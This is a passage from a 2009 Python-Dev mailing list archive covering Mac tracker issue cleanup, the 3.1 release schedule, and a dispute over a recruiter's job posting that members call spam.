Message-ID: On Tue, 17 Feb 2009 11:04:35 +1300, Greg Ewing wrote: > Leif Walsh wrote: > >> If only we had a second Earth to mess with, we could just copy and >> swap. > > Or we could use a generational approach, doing all our messy stuff > around the moon and copying to earth when we've got our traffic control > issues sorted out. Oh great, people not only trashed on the ground, but also the space. Have you never seen the garbage bin sign? Wait a minute... the standard lib must have something about this... import walle From ronaldoussoren at mac.com Tue Feb 17 13:39:02 2009 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Tue, 17 Feb 2009 13:39:02 +0100 Subject: [Python-Dev] Closing outdated Mac issues In-Reply-To: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> Message-ID: On 15 Feb, 2009, at 21:13, Daniel (ajax) Diniz wrote: > Hi, > > In the discussion of a feature request for MacPython[1], the OP > (hhas) said: > > As of Python 2.6/3.0, all Mac-specific modules are deprecated/ > eliminated > from the standard library and there are no longer any plans to > submit > appscript for possible inclusion. This issue should be rejected and > closed. > > If that is the current state of Mac modules, there are no less than 17 > issues* that should be closed, 4 bug reports** that might be kept open > and 4 mixed-cases*** that might be obsolete/irrelevant. > > Besides amounting to 1% of open issues, these can divert efforts to > bogus issues: I've submitted a patch for one of the mixed-cases (bug + > feature request), but now don't think it was worth it. > > So, if someone could reassure / clarify the rules for closing these in > general and/or take a quick look at specific issues, that would be a > great help. The Carbon bindings in 2.6 are deprecated and I don't intend to work on fixing them, and would advise against trying to fix issues with these modules unless you're personally affected by them. > > > Issue lists below. > > Regards, > Daniel > > [1] http://bugs.python.org/issue916013 Should have been closed ages ago. > > > * Feature requests and implementation polishing issues: > > http://bugs.python.org/issue706585 Expose FinderInfo in FSCatalogInfo Closed as won't fix. > > http://bugs.python.org/issue706592 Carbon.File.FSSpec should accept > non-existing pathnames Closed as won't fix. > > > http://bugs.python.org/issue776533 Carbon.Snd module SPB constructor > shadowed Closed as fixed (after reapplying the patch on the trunk) > > > http://bugs.python.org/issue779285 Carbon Event ReceiveNextEvent Left this open for now, I have to have a better look at the actual code to check if it is worthwhile to keep this issue open. > > > http://bugs.python.org/issue806149 aetools.TalkTo methods can be > obscured Closed as won't fix > > > http://bugs.python.org/issue822005 Carbon.CarbonEvt.ReceiveNextEvent > args wrong Left this open for now, seems to be related to issue779285. > > > http://bugs.python.org/issue852150 Can't send Apple Events without > WindowServer connection Closed as won't fix. > > > http://bugs.python.org/issue853656 Carbon.CF.CFURLRef should be > easier to create Closed as won't fix. > > > http://bugs.python.org/issue869649 Quicktime missing funcitonality Closed as won't fix, even the C-level API is deprecated. > > > http://bugs.python.org/issue878560 Add a console window for Carbon > MacPython applets Closed as won't fix. [... Skip other issues ... : I'll have a look at these later on ] > ** Probably out of date, irrelevant or both: > > http://bugs.python.org/issue779153 bgen requires Universal Headers, > not OS X dev headers Should be closed, I'm not planning on recreating the Carbon bindings. > > > http://bugs.python.org/issue602291 Bgen should learn about booleans This one is not related to OSX, appearently at least some people actually use Bgen for creating wrapper code. > > > http://bugs.python.org/issue775321 plistlib error handling > > http://bugs.python.org/issue985064 plistlib crashes too easily on > bad files Plistlib is in the generic standard library in 2.6 and 3.0. I haven't checked yet if these issues are relevant at this point in time. Ronald > > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/ronaldoussoren%40mac.com -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2224 bytes Desc: not available URL: From gregor.lingl at aon.at Tue Feb 17 14:55:33 2009 From: gregor.lingl at aon.at (Gregor Lingl) Date: Tue, 17 Feb 2009 14:55:33 +0100 Subject: [Python-Dev] draft 3.1 release schedule In-Reply-To: <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> Message-ID: <499AC1D5.1030607@aon.at> Benjamin Peterson schrieb: > On Sun, Feb 15, 2009 at 10:59 AM, Guido van Rossum wrote... > .... > Something like this? > > 3.1a1 March 7 > 3.1a2 April 4 > 3.1b1 May 2 > 3.1rc1 May 30 > 3.1rc2 June 13 > 3.1 Final June 27 > > That sounds reasonable. I will try to enforce a fairly strict > stability policy during the beta and RCs. > .... > I've started a list on the release PEP [1]. > > [1] http://www.python.org/dev/peps/pep-0375/ > Is the intention to release 2.7 and 3.1 in parallel? I suspect, comparing this to http://www.python.org/dev/peps/pep-0373/ that there is some name mangling in pep-0375? Regards, Gregor From benjamin at python.org Tue Feb 17 15:20:10 2009 From: benjamin at python.org (Benjamin Peterson) Date: Tue, 17 Feb 2009 08:20:10 -0600 Subject: [Python-Dev] To 3.0.2 or not to 3.0.2? In-Reply-To: <499A9EB6.3020802@openend.se> References: <319e029f0902161108o5bb3506fq529525d35d0f35fe@mail.gmail.com> <319e029f0902162352l13da07b8r8b0aafba66e4e7a3@mail.gmail.com> <200902171000.30304.victor.stinner@haypocalc.com> <499A9EB6.3020802@openend.se> Message-ID: <1afaf6160902170620u1c3604dcs4f6d1e6da7176f2f@mail.gmail.com> On Tue, Feb 17, 2009 at 5:25 AM, Samuele Pedroni wrote: > Didn't a test fail because of this? seems the underlying issue is that this > part of the stdlib didn't have enough test coverage. It seems that having > very good/improving test coverage like is recommended for 3rd-party project > wanting to switch would be a good goal for 3.0 evolution too. We know from > PyPy experience that while always improving the test suite coverage is quite > spotty at times. No, a test didn't fail. Our new distutils maintainer, Tarek Ziade, though, has been increasing the distutils test coverage greatly. -- Regards, Benjamin From david.russell at fdmgroup.com Tue Feb 17 15:24:25 2009 From: david.russell at fdmgroup.com (David Russell) Date: Tue, 17 Feb 2009 14:24:25 -0000 Subject: [Python-Dev] 2 very interesting projects - Python / Finance Message-ID: Dear Python Group, First of all sorry for the unsolicited email, I have attached two very interesting long term Python projects in the Frankfurt area, Financial industry. I am working exclusively with the client on both requirements, interviews and contracts can be arranged very quickly. You will be involved in a project to develop the next generation of financial trading systems, this will be the biggest, fastest trading system of its kind in the world and will be used on a global scale. Financial experience is not a must, they are looking more for technical skills here. If the projects look interesting to you please feel free to contact me on the contact details below. Thank you for your help, Best Regards David Large Financial Institution - Frankfurt Senior Python C/C++ Developer (f/m) Tasks/Responsibilities Software developer for a complex electronic trading system. The software developer will work in the implementation team of the trading system; tasks include: - Requirements Analysis - Development of a Scripting framework based on Python - Specification - Implementation Target platform will be Linux. Qualifications/Required Skills (Mandatory) Rock Solid Python and C/C++ knowledge Integration of Python with C/C++ libraries Automated Testing Good overview and knowledge of open source software Experience of software development in large projects Good communications skills Ability to work in project teams A good command of English is a must. Additional Domain & Business Skills Knowledge of derivatives trading an advantage, in particular U.S. options. Additional Information: Frankfurt am Main, Germany Start ASAP for a minimum of 6 months Rate - Negotiable This is an urgent requirement please contact me or send me your cv as soon as possible. Contact: David Russell - Account manager email: david.russell at fdmgroup.com Tel: +49 (0) 69 756 0050 Web: www.fdmgroup.com //////////////////////////////////////////////////////////////////////// /// Large Financial Institution - Frankfurt am Main Performance / High Availability Test Automation Engineer (f/m) Tasks/Responsibilities Developer of automated test procedures for a high-performance electronic trading system. The engineer will work in the Performance and Technical Test team of the project; tasks include: - Requirements Analysis - Development of distributed transaction feed procedures, mostly in Python - Implementation of automated result analysis - Design and implementation of test procedures for failover/recovery scenarios in a multi-tier environment - Supervision of regular runs of the automated performance test suite. Target platform will be Linux. Qualifications/Required Skills Python scripting Deep (>3 years) knowledge of Linux, with a focus in the areas - Performance monitoring and tuning - Messaging architectures Performance testing experience, for latency and throughput, incl. data aggregation and reporting Good communications skills Experience of software development in large projects Good overview and knowledge of open source software Ability to work in an international project team. A good command of English is a must. Additional Domain & Business Skills Knowledge of statistical data analysis methods would be an advantage. Experience in mechanisms of interfacing C/C++ and Python would also be advantageous. Frankfurt am Main, Germany Start ASAP to 31.12.09 with good extension prospects for 2010 Rate - Negotiable This is an urgent requirement please contact me or send me your cv as soon as possible. Contact: David Russell - Account manager email: david.russell at fdmgroup.com Tel: +49 (0) 69 756 0050 Web: www.fdmgroup.com David Russell Account Manager FDM Group Beethoven Strasse 4, 60325 Frankfurt am Main Germany david.russell at fdmgroup.com Tel: + 49 (0) 69 756 0050 Cell: + 49 (0) 173 3592288 Fax: + 49 (0) 69 756 00555 www.fdmgroup.com www.fdmacademy.com BRIGHTON, LONDON, MANCHESTER, LUXEMBOURG, FRANKFURT, ZURICH & NEW YORK This message is from FDM Group Plc, and may contain information that is confidential or privileged. If you are not the intended recipient, please delete the message and any attachments and notify the sender. This email is not intended to create legally binding commitments on behalf of FDM Group Plc, nor do its contents reflect the corporate views or policies of FDM. Any unauthorised disclosure, use or dissemination, either whole or partial, is prohibited. FDM Group Plc is a private limited company registered in England (Reg. No. 2542980). ________________________________________________________________________ This e-mail has been scanned for all viruses by Star Internet. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: image/jpeg Size: 3278 bytes Desc: image001.jpg URL: From benjamin at python.org Tue Feb 17 15:28:35 2009 From: benjamin at python.org (Benjamin Peterson) Date: Tue, 17 Feb 2009 08:28:35 -0600 Subject: [Python-Dev] draft 3.1 release schedule In-Reply-To: <499AC1D5.1030607@aon.at> References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> <499AC1D5.1030607@aon.at> Message-ID: <1afaf6160902170628t4d763793we955c35cb7bd3e2f@mail.gmail.com> On Tue, Feb 17, 2009 at 7:55 AM, Gregor Lingl wrote: >> >> I've started a list on the release PEP [1]. >> >> [1] http://www.python.org/dev/peps/pep-0375/ >> > > Is the intention to release 2.7 and 3.1 in parallel? No. > > I suspect, comparing this to > > http://www.python.org/dev/peps/pep-0373/ > > that there is some name mangling in pep-0375? It seems I left "2.7" in the prose a few times. I've fixed that now. -- Regards, Benjamin From barry at python.org Tue Feb 17 15:30:04 2009 From: barry at python.org (Barry Warsaw) Date: Tue, 17 Feb 2009 09:30:04 -0500 Subject: [Python-Dev] draft 3.1 release schedule In-Reply-To: <499AC1D5.1030607@aon.at> References: <1afaf6160902141229p2c10bba1i9acd7c61149f156e@mail.gmail.com> <1afaf6160902151523k6ca3bd9bwab7eea0ee13aeaa3@mail.gmail.com> <499AC1D5.1030607@aon.at> Message-ID: <01058648-E1EE-4BC4-82B0-C1611D949AE4@python.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Feb 17, 2009, at 8:55 AM, Gregor Lingl wrote: > Is the intention to release 2.7 and 3.1 in parallel? I don't think we should this time. We want to get 3.1 out sooner than the typical 18 month development cycle, and I think we should concentrate on making that a great release without worrying about also trying to get 2.7 out. :Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZrJ7HEjvBPtnXfVAQJEKAP/fQ/SWqCNYmPQreBdN4Y7BKC4+K0f9Kk6 7DuVEyjd/BI9luqLxeGgZFdm9cwBXNkrSQ0Vw9wGx5rjGWRxPhAzWPh3tSEUQzFb wpQCqGkwktb7dxub4f+aeYBWJ802jrapfDXY48iRuGopCstm4IevjkZCesnMwrf7 fpOX6VDx5IQ= =y5N7 -----END PGP SIGNATURE----- From david.russell at fdmgroup.com Tue Feb 17 14:59:14 2009 From: david.russell at fdmgroup.com (David Russell) Date: Tue, 17 Feb 2009 13:59:14 -0000 Subject: [Python-Dev] 2 very interesting projects - Python / Finance Message-ID: Dear Python Development Group, First of all sorry for the unsolicited email, I have attached two very interesting long term Python projects in the Frankfurt area, Financial industry. I am working exclusively with the client on both requirements, interviews and contracts can be arranged very quickly. You will be involved in a project to develop the next generation of financial trading systems, this will be the biggest, fastest trading system of its kind in the world and will be used on a global scale. Financial experience is not a must, they are looking more for technical skills here. If the projects look interesting to you please feel free to contact me on the contact details below. Thank you for your help, Best Regards David Large Financial Institution - Frankfurt Senior Python C/C++ Developer (f/m) Tasks/Responsibilities Software developer for a complex electronic trading system. The software developer will work in the implementation team of the trading system; tasks include: - Requirements Analysis - Development of a Scripting framework based on Python - Specification - Implementation Target platform will be Linux. Qualifications/Required Skills (Mandatory) Rock Solid Python and C/C++ knowledge Integration of Python with C/C++ libraries Automated Testing Good overview and knowledge of open source software Experience of software development in large projects Good communications skills Ability to work in project teams A good command of English is a must. Additional Domain & Business Skills Knowledge of derivatives trading an advantage, in particular U.S. options. Additional Information: Frankfurt am Main, Germany Start ASAP for a minimum of 6 months Rate - Negotiable This is an urgent requirement please contact me or send me your cv as soon as possible. Contact: David Russell - Account manager email: david.russell at fdmgroup.com Tel: +49 (0) 69 756 0050 Web: www.fdmgroup.com //////////////////////////////////////////////////////////////////////// /// Large Financial Institution - Frankfurt am Main Performance / High Availability Test Automation Engineer (f/m) Tasks/Responsibilities Developer of automated test procedures for a high-performance electronic trading system. The engineer will work in the Performance and Technical Test team of the project; tasks include: - Requirements Analysis - Development of distributed transaction feed procedures, mostly in Python - Implementation of automated result analysis - Design and implementation of test procedures for failover/recovery scenarios in a multi-tier environment - Supervision of regular runs of the automated performance test suite. Target platform will be Linux. Qualifications/Required Skills Python scripting Deep (>3 years) knowledge of Linux, with a focus in the areas - Performance monitoring and tuning - Messaging architectures Performance testing experience, for latency and throughput, incl. data aggregation and reporting Good communications skills Experience of software development in large projects Good overview and knowledge of open source software Ability to work in an international project team. A good command of English is a must. Additional Domain & Business Skills Knowledge of statistical data analysis methods would be an advantage. Experience in mechanisms of interfacing C/C++ and Python would also be advantageous. Frankfurt am Main, Germany Start ASAP to 31.12.09 with good extension prospects for 2010 Rate - Negotiable This is an urgent requirement please contact me or send me your cv as soon as possible. Contact: David Russell - Account manager email: david.russell at fdmgroup.com Tel: +49 (0) 69 756 0050 Web: www.fdmgroup.com David Russell Account Manager FDM Group Beethoven Strasse 4, 60325 Frankfurt am Main Germany david.russell at fdmgroup.com Tel: + 49 (0) 69 756 0050 Cell: + 49 (0) 173 3592288 Fax: + 49 (0) 69 756 00555 www.fdmgroup.com www.fdmacademy.com BRIGHTON, LONDON, MANCHESTER, LUXEMBOURG, FRANKFURT, ZURICH & NEW YORK This message is from FDM Group Plc, and may contain information that is confidential or privileged. If you are not the intended recipient, please delete the message and any attachments and notify the sender. This email is not intended to create legally binding commitments on behalf of FDM Group Plc, nor do its contents reflect the corporate views or policies of FDM. Any unauthorised disclosure, use or dissemination, either whole or partial, is prohibited. FDM Group Plc is a private limited company registered in England (Reg. No. 2542980). ________________________________________________________________________ This e-mail has been scanned for all viruses by Star Internet. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: image/jpeg Size: 3278 bytes Desc: image001.jpg URL: From ajaksu at gmail.com Tue Feb 17 16:26:18 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 17 Feb 2009 12:26:18 -0300 Subject: [Python-Dev] Tracker cleanup report In-Reply-To: <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com> References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com> Message-ID: <2d75d7660902170726o41853034t33611bc75efbea1e@mail.gmail.com> Paul Moore wrote: > 2009/2/16 Daniel (ajax) Diniz : >> Hi, >> Here's a summary of what's been accomplished and what's almost done. >> This kinda marks the end of this Bug Season for me, but I'd like to do >> at least one more installment before PyCon. > > Can I, for one, offer a *huge* round of applause for what you've > achieved. It's great to see the tracker getting some serious > attention. Thank you, but I can only take a small part of the kudos. It's been a collective work, involving from the BDFL to issue reporters. Also, lots of people have been taking care of the tracker. Notably, Christian Heimes has done a lot of cleanup and updating in early 2008, Facundo did the same earlier (2005, IIRC) and Benjamin went through a lot of tickets during the 2.6/3.0 release cycle. Martin, Benjamin, Victor and Hirokazu have spent a lot of time tidying things up lately, and some nice fellows like Antoine, Mark, Nick Coghlan, Amaury, and most cited above are constantly reviewing tickets and offering feedback. Some people help fighting spam (e.g. Skip, IIRC). Brett is hors concours regarding time spent for any Python-related effort, so I won't mention him :D There's also those recently organizing tickets in their area of interest: Tarek is on top of distutils issues with lots of help from Akira Kitada, Georg even has auto-assignment for doc issues, Jesse Noller with multiprocessing, etc. Of course, this has always happened to some degree, so lots of people have done that in the past, then reduced their level of tracker-handling activity, are now back and helping with lots of issues, e.g. Jack Jansen and Ronald Oussoren. These are all from the top of my head, from diving into hundreds of reports and following the tracker activity. Lots of other people I fail to mention have taken the task of dealing with tickets for themselves. So kudos to everyone that invest time handling bugs, feature requests, janitorial tasks and the eventual PEBKAC. Thanks for the support! Cheers, Daniel From ajaksu at gmail.com Tue Feb 17 16:32:16 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 17 Feb 2009 12:32:16 -0300 Subject: [Python-Dev] Closing outdated Mac issues In-Reply-To: References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> <2d75d7660902151351j2a5b9203x1ec179e25095b874@mail.gmail.com> <2d75d7660902151517p22440361u76f686dc2f0e1e4e@mail.gmail.com> Message-ID: <2d75d7660902170732i231aa719q1a7896401191e274@mail.gmail.com> Hi Ned, Ned Deily wrote: > Other than Mac/Modules, the rest of the Mac/ directory is mainly stuff > used for building or going into the OS X installer images, including > things like IDLE.app. These are used in 2.x and in 3.x. Thanks, knowing that makes the ticket handling easier! >> There are 40 C files, two headers and 69 python files in /Mac in >> trunk. The 2.6 (and 2.5.x) docs say development has stopped and that >> they'd be replaced in 2.5. So ISTM closing RFEs for these modules >> would be an improvement. >> >> > Honestly, fixing them is fine but since the modules are deprecated but >> > still in existence in 2.x, but they are definitely nothing above a >> > normal priority issue. >> OK, I'll let the bug reports open. What about RFEs? > > I think the reasonable thing to do is close them as "not to be > fixed/implemented". At this point, the chances that someone would fix > them are pretty slim and, in many cases, I'm sure the module is either > obsolete because other, and better supported, solutions are now > available, like PyObjC or appscript. If people feel strongly about an > issue, they can always ask to re-open it. OK, Ronald is helping sort them and I'll clean whatever is left based on your combined feedback. > Taking a quick look at your list, the only ones that may be worth > looking at are the plistlib ones since it lives on in 3.x. I think all > the rest are deprecated and gone in 3.x. OK, plistlib is a keeper in my list now. Thanks a lot for the feedback (and for helping with the Mac installers!) :) Regards, Daniel From aahz at pythoncraft.com Tue Feb 17 16:39:20 2009 From: aahz at pythoncraft.com (Aahz) Date: Tue, 17 Feb 2009 07:39:20 -0800 Subject: [Python-Dev] 2 very interesting projects - Python / Finance In-Reply-To: References: Message-ID: <20090217153920.GA23769@panix.com> On Tue, Feb 17, 2009, David Russell wrote: > > Dear Python Development Group, > > First of all sorry for the unsolicited email, This is spam, and you have now jeopardized your correct posting to the Python Job Board. The other website administrators will be informed and we will discuss whether spamming python-dev warrants withdrawing it. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. From ajaksu at gmail.com Tue Feb 17 16:49:11 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 17 Feb 2009 12:49:11 -0300 Subject: [Python-Dev] Closing outdated Mac issues In-Reply-To: References: <2d75d7660902151213o39762e67o1345d82e89bada05@mail.gmail.com> Message-ID: <2d75d7660902170749y7eafa0eayfd8b3920a041edd0@mail.gmail.com> Hi, Ronald, Ronald Oussoren wrote: > > On 15 Feb, 2009, at 21:13, Daniel (ajax) Diniz wrote: > >> Hi, >> >> In the discussion of a feature request for MacPython[1], the OP (hhas) said: >> >> As of Python 2.6/3.0, all Mac-specific modules are deprecated/eliminated >> from the standard library and there are no longer any plans to submit >> appscript for possible inclusion. This issue should be rejected and >> closed. [...] >> So, if someone could reassure / clarify the rules for closing these in >> general and/or take a quick look at specific issues, that would be a >> great help. > > The Carbon bindings in 2.6 are deprecated and I don't intend to work on fixing them, and would advise against trying to fix issues with these modules unless you're personally affected by them. OK. >> [1] http://bugs.python.org/issue916013 > > Should have been closed ages ago. > [snip] >> http://bugs.python.org/issue776533 Carbon.Snd module SPB constructor shadowed > > Closed as fixed (after reapplying the patch on the trunk) [...] >> http://bugs.python.org/issue779285 Carbon Event ReceiveNextEvent > > Left this open for now, I have to have a better look at the actual code to check if it is worthwhile to keep this issue open. Wow, thanks a lot for taking care of all these issues! If you need a hand to close, assign or just update any of them, I'd be glad to help. I'll put any closing of these on hold until you're done, I have no hurry :) >> http://bugs.python.org/issue779153 bgen requires Universal Headers, >> not OS X dev headers > > Should be closed, I'm not planning on recreating the Carbon bindings. OK, I'll add a 'will close unless someone who needs this comes forward' note on this one, but will leave it open for a while as it might help in wrapping code. >> >> http://bugs.python.org/issue602291 Bgen should learn about booleans > > This one is not related to OSX, appearently at least some people actually use Bgen for creating wrapper code. Thanks, will update it and leave open. >> http://bugs.python.org/issue775321 plistlib error handling >> >> http://bugs.python.org/issue985064 plistlib crashes too easily on bad files > > Plistlib is in the generic standard library in 2.6 and 3.0. I haven't checked yet if these issues are relevant at this point in time. They are not, I'll work on tests/patches for them. Thanks for handling these and for the valuable feedback, Ronald! Daniel From ajaksu at gmail.com Tue Feb 17 16:53:52 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 17 Feb 2009 12:53:52 -0300 Subject: [Python-Dev] Tracker cleanup report In-Reply-To: References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> <79990c6b0902161237u67c25c78laaf42750fac4ce4b@mail.gmail.com> Message-ID: <2d75d7660902170753y4be818a8q3665dce7b6c9fe65@mail.gmail.com> Brett Cannon wrote: > > Ditto from me! And I will eventually get to the bugs assigned to me (hopefully starting some time this week). > No hurry, just let me know if you see stupid mistakes on my part (I've once or twice added an issue as its own dependency) :) Daniel From ajaksu at gmail.com Tue Feb 17 16:54:59 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 17 Feb 2009 12:54:59 -0300 Subject: [Python-Dev] Tracker cleanup report In-Reply-To: <5B32700B-4A22-4712-894E-D8D948AE0F05@cwi.nl> References: <2d75d7660902161140i4f32d407h2e715eea8f7f0d2e@mail.gmail.com> <5B32700B-4A22-4712-894E-D8D948AE0F05@cwi.nl> Message-ID: <2d75d7660902170754i116af84bt96f983a06ffaa5c9@mail.gmail.com> Jack Jansen wrote: > I had a cursory look at these issues as they came by, and I didn't see any that struck me as still being relevant. > Thanks a lot for the feedback, Jack! Daniel From david.russell at fdmgroup.com Tue Feb 17 17:15:36 2009 From: david.russell at fdmgroup.com (David Russell) Date: Tue, 17 Feb 2009 16:15:36 -0000 Subject: [Python-Dev] 2 very interesting projects - Python / Finance References: <20090217153920.GA23769@panix.com> Message-ID: Dear Aahz, I understand your point but the line should be drawn between somebody selling Viagra or insurance to someone like me who is offering an opportunity to a suitable candidate to work on a Python project developing a new global trading system for a world leading financial institution. I am not trying to sell something or take something away from anybody nor am I offering something that does not exist, I am broadcasting a realistic, solid opportunity to a group of people that may benefit from it. Looking at the current global job climate I would have thought this type of email would be welcomed by the Python community? If you don't agree then do what you have to do and report me to the other web administrators. Maybe you should start a list that users can join to receive project offers? It makes sense. Best regards David Russell Account Manager FDM Group Beethoven Strasse 4, 60325 Frankfurt am Main Germany -----Original Message----- From: Aahz [mailto:aahz at pythoncraft.com] Sent: 17 February 2009 15:39 To: David Russell Cc: Python-Dev at python.org Subject: Re: [Python-Dev] 2 very interesting projects - Python / Finance On Tue, Feb 17, 2009, David Russell wrote: > > Dear Python Development Group, > > First of all sorry for the unsolicited email, This is spam, and you have now jeopardized your correct posting to the Python Job Board. The other website administrators will be informed and we will discuss whether spamming python-dev warrants withdrawing it. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ Weinberg's Second Law: If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ This message is from FDM Group Plc, and may contain information that is confidential or privileged. If you are not the intended recipient, please delete the message and any attachments and notify the sender. This email is not intended to create legally binding commitments on behalf of FDM Group Plc, nor do its contents reflect the corporate views or policies of FDM. Any unauthorised disclosure, use or dissemination, either whole or partial, is prohibited. FDM Group Plc is a private limited company registered in England (Reg. No. 2542980). ________________________________________________________________________ This e-mail has been scanned for all viruses by Star Internet. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From tim.peters at gmail.com Tue Feb 17 17:47:10 2009 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 17 Feb 2009 11:47:10 -0500 Subject: [Python-Dev] 2 very interesting projects - Python / Finance In-Reply-To: <20090217153920.GA23769@panix.com> References: <20090217153920.GA23769@panix.com> Message-ID: <1f7befae0902170847h7d06d30reff01c5abb7f55d1@mail.gmail.com> [Aahz] > ... > This is spam, and you have now jeopardized your correct posting to the > Python Job Board. The other website administrators will be informed and > we will discuss whether spamming python-dev warrants withdrawing it. To be fair, a python-dev moderator approved the posting, so in their judgment it wasn't spam. It was in my judgment, but someone else approved it before I managed to hit the "discard" button. From steve at holdenweb.com Tue Feb 17 17:55:54 2009 From: steve at holdenweb.com (Steve Holden) Date: Tue, 17 Feb 2009 11:55:54 -0500 Subject: [Python-Dev] 2 very interesting projects - Python / Finance In-Reply-To: References: <20090217153920.GA23769@panix.com> Message-ID: <499AEC1A.2080102@holdenweb.com> David: Perhaps you'd like to give me your company's internal mailing list address so I can drop your staff a line when I hear of Python conferences going on your area. Or maybe that's not what the list is for? This list, as is clearly stated at http://www.python.org/community/lists/ is "for work on developing Python". Hence your posting (and your protestations of innocence) is unsolicited commercial email, AKA spam. Python users who are looking for jobs know about the jobs board, where you have already submitted vacancy notices (now jeopardized by this anti-social act). Please stop now - if you must reply, feel free to do so by private email. regards Steve David Russell wrote: > Dear Aahz, > > I understand your point but the line should be drawn between somebody > selling Viagra or insurance to someone like me who is offering an > opportunity to a suitable candidate to work on a Python project > developing a new global trading system for a world leading financial > institution. > > I am not trying to sell something or take something away from anybody > nor am I offering something that does not exist, I am broadcasting a > realistic, solid opportunity to a group of people that may benefit from > it. > > Looking at the current global job climate I would have thought this type > of email would be welcomed by the Python community? > > If you don't agree then do what you have to do and report me to the > other web administrators. > > Maybe you should start a list that users can join to receive project > offers? It makes sense. > > Best regards > > David Russell > Account Manager > > FDM Group > > Beethoven Strasse 4, > 60325 Frankfurt am Main > Germany > > > -----Original Message----- > From: Aahz [mailto:aahz at pythoncraft.com] > Sent: 17 February 2009 15:39 > To: David Russell > Cc: Python-Dev at python.org > Subject: Re: [Python-Dev] 2 very interesting projects - Python / Finance > > On Tue, Feb 17, 2009, David Russell wrote: >> Dear Python Development Group, >> >> First of all sorry for the unsolicited email, > > This is spam, and you have now jeopardized your correct posting to the > Python Job Board. The other website administrators will be informed and > we will discuss whether spamming python-dev warrants withdrawing it. -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From steve at holdenweb.com Tue Feb 17 18:25:39 2009 From: steve at holdenweb.com (Steve Holden) Date: Tue, 17 Feb 2009 12:25:39 -0500 Subject: [Python-Dev] 2 very interesting projects - Python / Finance In-Reply-To: <499AEC1A.2080102@holdenweb.com> References: <20090217153920.GA23769@panix.com> <499AEC1A.2080102@holdenweb.com> Message-ID: Steve Holden wrote: > David: > > Perhaps you'd like to give me your company's internal mailing list > address so I can drop your staff a line when I hear of Python > conferences going on your area. Or maybe that's not what the list is for? > [...] Just to close this out Aahz and I received an apologetic reply by private email. regards Steve -- Steve Holden +1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ From fuzzyman at voidspace.org.uk Tue Feb 17 18:34:30 2009 From: fuzzyman at voidspace.org.uk (Michael Foord) Date: Tue, 17 Feb 2009 17:34:30 +0000 Subject: [Python-Dev] 2 very interesting projects - Python / Finance In-Reply-To: <1f7befae0902170847h7d06d30reff01c5abb7f55d1@mail.gmail.com> References: <20090217153920.GA23769@panix.com> <1f7befae0902170847h7d06d30reff01c5abb7f55d1@mail.gmail.com> Message-ID: <499AF526.8020506@voidspace.org.uk> Tim Peters wrote: > [Aahz] > >> ... >> This is spam, and you have now jeopardized your correct posting to the >> Python Job Board. The other website administrators will be informed and >> we will discuss whether spamming python-dev warrants withdrawing it. >> > > To be fair, a python-dev moderator approved the posting, so in their > judgment it wasn't spam. > > I saw it in the queue and hit reject. I think he may have signed up and reposted - either that or I *didn't* hit reject when I intended to. Michael > It was in my judgment, but someone else approved it before I managed > to hit the "discard" button. > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk > -- http://www.ironpythoninaction.com/ http://www.voidspace.org.uk/blog From dirkjan at ochtman.nl Tue Feb 17 19:34:12 2009 From: dirkjan at ochtman.nl (Dirkjan Ochtman) Date: Tue, 17 Feb 2009 19:34:12 +0100 Subject: [Python-Dev] 2 very interesting projects - Python / Finance In-Reply-To: <499AEC1A.2080102@holdenweb.com> References: <20090217153920.GA23769@panix.com> 